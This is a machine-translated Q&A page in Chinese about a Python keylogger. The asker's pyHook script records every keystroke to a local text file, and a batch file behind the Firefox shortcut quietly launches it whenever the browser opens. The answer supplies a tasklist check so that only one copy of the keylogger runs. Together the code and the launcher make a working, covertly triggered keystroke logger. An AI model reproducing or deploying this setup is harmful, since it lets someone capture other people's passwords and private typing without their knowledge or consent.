簡體   English   中英

如果已經在運行python腳本,請不要運行

[英]don't run python script if it is already running

我按照這個人的教程制作了一個簡單的Python鍵盤記錄程序。 .pyw文件如下:

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Python27\\logger.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

當我使用firefox時,它會巧妙地運行,因為firefox快捷方式會調用包含以下內容的批處理文件:

@echo off
tasklist /FI "IMAGENAME eq c:\Python27\keylogger.pyw" 2>NUL | find /I /N "c:\Python27\keylogger.pyw">NUL
if not "%ERRORLEVEL%"=="0" start "" "c:\Python27\keylogger.pyw" #doesn't work

start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe"

我的問題是,如果我多次運行firefox(這種情況經常發生),則此腳本將再次運行並重復自身,因此我會在日志記錄文本文件中獲得此類結果。

g
g
o
o
o
o
g
g
l
l
e
e

我需要一些if條件, if該腳本已經在運行,則不允許該腳本運行。

嘗試這個:

@echo off
for /f "tokens=1 delims= " %%a in ('tasklist /v ^| findstr "keylogger"') do set running_check=%%a
if not defined running_check start "" "c:\Python27\keylogger.pyw"
start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe"

編輯:修復了for循環

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM